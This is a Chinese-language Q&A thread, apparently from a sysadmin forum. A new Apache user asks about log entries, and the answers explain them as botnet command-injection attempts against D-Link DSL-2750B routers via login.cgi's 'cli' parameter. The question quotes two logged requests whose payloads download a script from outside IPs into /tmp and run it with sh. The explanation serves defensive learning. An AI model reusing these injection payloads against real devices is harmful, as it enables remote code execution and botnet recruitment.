![有人想黑我?login.cgi+wget](https://linux22.com/image/726677/%E6%9C%89%E4%BA%BA%E6%83%B3%E9%BB%91%E6%88%91%EF%BC%9Flogin.cgi%2Bwget.png)
我正在建立一个新服务器Apache
,实际上我正在学习,所以我在尝试不同的东西。我的安全系统已经完成了,但当然我可能会错过一些东西,或者,如果没有,我确实知道今天没有一个系统可以 100% 保护我。那么,为什么我认为有人尝试过我,只是因为我在日志中收到了以下内容:
1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
还有更多。我知道有人收到了 400 错误,这对我来说不算坏事。所以,事实上我的问题不是他们是否会尝试我,因为我认为这是,因为这似乎不是对我网站的正常请求。我想得到这个请求的解释,以便理解和学习。他们实际上想做什么,找到我的登录系统并将其发送给某个人?
PS 我已经知道wget
你可以下载一些网站,我还发现这login.cgi
是一个基于 cookie 的身份验证程序。
谢谢你!
答案1
您的不受欢迎的访问者并未试图隐藏其在您的服务器上下载并运行某些脚本的企图。
他可能认为,您不仅有这样的login.cgi
脚本,而且它也没有正确处理输入,因此直接执行撇号后面的所有内容(%27
在编码日志中)。您可能没有这样的易受攻击的脚本,但 HTTP 代码 400 始终意味着您不受影响的假设是没有根据的。
这很可能是一次无人看管的攻击,针对的是大量随机目标。我们只能推测要下载并执行的脚本可能包含什么内容。可以肯定地说,您无法确定这一点,因为提供脚本的服务器通常会提供不同的脚本(+),具体取决于它是否认为攻击到目前为止是成功的,或者正在调查中。
攻击者完全有可能认为代码执行不太可能发生,而只是在收集您系统上的信息。所有面向互联网的设备都应定期收到此类请求,并且 Web 服务器上的所有脚本都应以您永远不必担心此类请求的方式编写。
(+)为什么攻击者会提供不同的脚本吗?这会使调查入侵后的特权升级变得更加困难。脚本以后可能会从内存中丢失,因此确保受害者以后无法检索脚本对攻击者来说是有意义的。如何攻击者会提供不同的脚本吗?他会确保 Web 服务器仅在攻击后不久从受攻击的机器 IP 回复攻击负载。由于攻击只能立即成功或失败,因此任何后续脚本检索都可以归因于受害者取证团队或安全研究人员。这不是一种新的或纯粹的理论机制,我在 2016 年已经根据 IP 收到了不同的负载(一个脚本是空的,另一个包含加载第 3 阶段负载的命令)。
答案2
这不是针对您个人的特定攻击。最有可能的是,僵尸网络被用来攻击许多甚至所有可能的 IP 地址。
login.cli
使用参数的脚本似乎cli
针对 D-Link 路由器。它可能是D-Link DSL-2750B——操作系统命令注入:
该模块利用了 D-Link DSL-2750B 设备中的远程命令注入漏洞。漏洞可通过直接用于调用“ayecli”二进制文件的“cli”参数来利用。易受攻击的固件版本从 1.01 到 1.03。
您可以使用 nginx 或 Apache 等 Web 服务器的阻止列表集合来阻止所有此类请求。根据您的流量,这样做可能很有用,特别是如果您有一个不期望大量流量的小型私人网站。
答案3
我知道这篇文章已经有一年多了,但是我可以对此做些澄清。
它确实是僵尸网络的一部分。它试图下载的脚本是一个植入程序,它会尝试下载、向下载的文件(已植入文件)添加可执行位/权限,然后执行并删除该文件。
我对该 dropper 的新版本进行了一些分析,它是一个未编码的 shell 脚本。随着 2020 年的临近,该网络今天再次活跃起来。
至于使用不同脚本的问题,开发人员可以制作单独的脚本以在不同的操作系统上运行。似乎有人重新打包了这个僵尸网络并试图重新分发它。以下是病毒总数图形显示了该特定僵尸网络的新活动。